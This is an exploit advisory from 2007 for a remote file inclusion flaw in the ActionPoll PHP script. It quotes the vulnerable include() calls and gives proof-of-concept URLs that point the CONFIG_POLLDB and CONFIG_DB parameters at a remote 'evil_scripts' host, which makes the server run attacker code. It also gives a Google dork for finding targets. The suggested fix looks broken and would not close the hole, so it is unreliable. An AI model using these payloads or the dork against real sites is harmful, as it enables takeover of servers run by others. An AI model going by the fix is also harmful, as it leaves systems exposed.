-------------------------------------------------- ActionPoll Script (actionpoll.php) Remote File Include -------------------------------------------------- Author : SekoMirza Date Found : April 14 2007 Location : French // ... Critical Lvl : critical Impact : System access Where : From Remote -------------------------------------------------- Affected software description: ~~~~~~~~~~~~~~~~~~~~~~~~~ Application : ActionPoll PhpOpenChat version : 1.1.0 vendor : http://www.vclcomponents.com/PHP/Polls_and_Voting/Actionpoll-info.html -------------------------------------------------- Description: ~~~~~~~~ Actionpoll 1.1.2002 - PHP / Polls and Voting Actionpoll is generated in PHP language which provides facilities to manage voting and polling data on portal systems. Unlimited options can be... -------------------------------------------------- Vulnerability: ~~~~~~~~~~~ vulnerability script in actionpoll.php // DataReaderWriter.php in actionpoll.php include($CONFIG_POLLDB); -- in db/DataReaderWriter.php include($CONFIG_DB); Proof Of Concept: ~~~~~~~~~~~~ [script path]/actionpoll.php?CONFIG_POLLDB=http://evil_scripts? [script path]/db/DataReaderWriter.php?CONFIG_DB=http://evil_scripts? -------------------------------------------------- google d0rk: ~~~~~~~ "Action Poll" -------------------------------------------------- F!X: ~~~ -open actionpoll.php -write this code before wrong code include ("CONFIG_POLLDB"); if($CONFIG_POLLDB != $xCONFIG_POLLDB) { exit; } -save and exit. -------------------------------------------------- Shoutz: ~~ ~ My Sweet -> Caramel ~ For Support -> Hypn0sis // Shad0wMan ~ For Support Also -> www.starhack.org ~ My Bro -> PhantomOrchid ----------------------EOF-------------------------